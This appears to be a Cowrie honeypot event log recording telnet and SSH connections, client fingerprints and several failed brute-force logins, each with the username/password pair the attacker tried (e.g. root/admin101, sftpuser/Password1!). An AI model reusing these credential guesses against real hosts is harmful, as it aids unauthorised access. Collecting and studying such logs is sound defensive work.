{"eventid":"cowrie.session.closed","duration":2.82664155960083,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:54.194542Z","src_ip":"65.60.27.33","session":"d943f0348b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:54.540426Z","src_ip":"176.65.132.254","session":"855dcd037d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49424,"dst_ip":"10.17.0.5","dst_port":23,"session":"5352eceaddad","protocol":"telnet","message":"New connection: 38.54.119.93:49424 (10.17.0.5:23) [session: 5352eceaddad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:54.634549Z"}
{"eventid":"cowrie.session.closed","duration":30.85145401954651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:55.056724Z","src_ip":"136.144.139.78","session":"f95a1edc684e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.176.226.106","src_port":47438,"dst_ip":"159.203.135.109","dst_port":23,"session":"76953ed6fef4","protocol":"telnet","message":"New connection: 86.176.226.106:47438 (159.203.135.109:23) [session: 76953ed6fef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:55.367246Z"}
{"eventid":"cowrie.session.closed","duration":31.96909809112549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:55.467308Z","src_ip":"62.210.97.77","session":"84dcbbc6d223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44466686248779,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:55.893381Z","src_ip":"62.210.97.77","session":"04a6a49d756e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72591805458069,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:56.421945Z","src_ip":"62.210.97.77","session":"fd3a36c239c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.829679012298584,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:56.517287Z","src_ip":"65.60.27.33","session":"439fa0538812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55110,"dst_ip":"10.17.0.5","dst_port":23,"session":"49380996c1a5","protocol":"telnet","message":"New connection: 62.210.97.77:55110 (10.17.0.5:23) [session: 49380996c1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.284056Z"}
{"eventid":"cowrie.session.closed","duration":34.11513566970825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.321787Z","src_ip":"62.210.97.77","session":"063b8b323641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38618,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f9be952723","protocol":"ssh","message":"New connection: 176.65.132.254:38618 (10.17.0.5:22) [session: 93f9be952723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.553970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.559076Z","src_ip":"176.65.132.254","session":"93f9be952723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.23913931846619,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.610034Z","src_ip":"62.210.97.77","session":"ed073c82d665","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.640842Z","src_ip":"176.65.132.254","session":"93f9be952723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55116,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9041a1d331","protocol":"telnet","message":"New connection: 62.210.97.77:55116 (10.17.0.5:23) [session: 8c9041a1d331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.673527Z"}
{"eventid":"cowrie.session.closed","duration":51.40413022041321,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.891274Z","src_ip":"134.209.8.29","session":"7679bea67149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47920,"dst_ip":"159.203.135.109","dst_port":23,"session":"b175baac607a","protocol":"telnet","message":"New connection: 134.209.8.29:47920 (159.203.135.109:23) [session: b175baac607a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:57.899463Z"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.057260Z","src_ip":"176.65.132.254","session":"93f9be952723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.50640082359314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.431986Z","src_ip":"62.210.97.77","session":"fee8f3e0b58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33517,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d2a616ff91c","protocol":"ssh","message":"New connection: 190.129.122.12:33517 (10.17.0.5:22) [session: 7d2a616ff91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.817676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.821673Z","src_ip":"190.129.122.12","session":"7d2a616ff91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50424,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a601c701744","protocol":"telnet","message":"New connection: 62.210.97.77:50424 (10.17.0.5:23) [session: 7a601c701744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.934467Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:58.993552Z","src_ip":"190.129.122.12","session":"7d2a616ff91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:59.151777Z","src_ip":"176.65.132.254","session":"93f9be952723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin101","message":"login attempt [root/admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:17:59.717005Z","src_ip":"190.129.122.12","session":"7d2a616ff91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":52792,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fc9eb06f7c","protocol":"telnet","message":"New connection: 136.144.139.78:52792 (159.203.135.109:23) [session: 38fc9eb06f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:00.391330Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:00.892598Z","src_ip":"190.129.122.12","session":"7d2a616ff91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.274737358093262,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:00.909000Z","src_ip":"38.54.119.93","session":"5352eceaddad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56192,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b649845730","protocol":"telnet","message":"New connection: 134.209.8.29:56192 (159.203.135.109:23) [session: 65b649845730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:00.938524Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38292,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bac20153ab8","protocol":"telnet","message":"New connection: 65.60.27.33:38292 (10.17.0.5:23) [session: 7bac20153ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:01.517393Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bfb97800ab1","protocol":"ssh","message":"New connection: 176.65.132.254:48902 (10.17.0.5:22) [session: 5bfb97800ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:02.120150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:02.125820Z","src_ip":"176.65.132.254","session":"5bfb97800ab1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:02.209110Z","src_ip":"176.65.132.254","session":"5bfb97800ab1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:02.461392Z","src_ip":"176.65.132.254","session":"5bfb97800ab1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:03.547873Z","src_ip":"176.65.132.254","session":"5bfb97800ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50428,"dst_ip":"10.17.0.5","dst_port":23,"session":"4946aef181f5","protocol":"telnet","message":"New connection: 62.210.97.77:50428 (10.17.0.5:23) [session: 4946aef181f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:04.020528Z"}
{"eventid":"cowrie.session.closed","duration":31.655750274658203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:04.047858Z","src_ip":"62.210.97.77","session":"d49f435b58aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":52804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e567914e19e9","protocol":"telnet","message":"New connection: 136.144.139.78:52804 (159.203.135.109:23) [session: e567914e19e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:04.059478Z"}
{"eventid":"cowrie.session.closed","duration":34.46397089958191,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:04.359275Z","src_ip":"62.210.97.77","session":"01c1a9e9dcc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50430,"dst_ip":"10.17.0.5","dst_port":23,"session":"144e0409cadd","protocol":"telnet","message":"New connection: 62.210.97.77:50430 (10.17.0.5:23) [session: 144e0409cadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:05.615662Z"}
{"eventid":"cowrie.session.closed","duration":4.7082884311676025,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:05.646678Z","src_ip":"134.209.8.29","session":"65b649845730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98424696922302,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.210024Z","src_ip":"62.210.97.77","session":"4464df9a82c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48926,"dst_ip":"10.17.0.5","dst_port":22,"session":"444d03b68f1a","protocol":"ssh","message":"New connection: 176.65.132.254:48926 (10.17.0.5:22) [session: 444d03b68f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.239919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.244685Z","src_ip":"176.65.132.254","session":"444d03b68f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.338860Z","src_ip":"176.65.132.254","session":"444d03b68f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2231ea5bc10c","protocol":"telnet","message":"New connection: 62.210.97.77:50442 (10.17.0.5:23) [session: 2231ea5bc10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.504486Z"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:06.639045Z","src_ip":"176.65.132.254","session":"444d03b68f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.42503523826599,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:07.635460Z","src_ip":"65.60.27.33","session":"bfa18b063029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50446,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c37f42b8a68","protocol":"telnet","message":"New connection: 62.210.97.77:50446 (10.17.0.5:23) [session: 0c37f42b8a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:07.702953Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:07.723028Z","src_ip":"176.65.132.254","session":"444d03b68f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":57654,"dst_ip":"159.203.135.109","dst_port":22,"session":"161985edb615","protocol":"ssh","message":"New connection: 152.32.189.59:57654 (159.203.135.109:22) [session: 161985edb615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:07.990681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:07.999039Z","src_ip":"152.32.189.59","session":"161985edb615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:08.327595Z","src_ip":"152.32.189.59","session":"161985edb615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50462,"dst_ip":"10.17.0.5","dst_port":23,"session":"de36c4467644","protocol":"telnet","message":"New connection: 62.210.97.77:50462 (10.17.0.5:23) [session: de36c4467644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:08.409306Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"Password1!","message":"login attempt [sftpuser/Password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:09.209191Z","src_ip":"152.32.189.59","session":"161985edb615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.436507Z","src_ip":"152.32.189.59","session":"161985edb615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48940,"dst_ip":"10.17.0.5","dst_port":22,"session":"75c243bbc024","protocol":"ssh","message":"New connection: 176.65.132.254:48940 (10.17.0.5:22) [session: 75c243bbc024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.489558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:18:10.494417Z","src_ip":"176.65.132.254","session":"75c243bbc024","protocol":"ssh"}
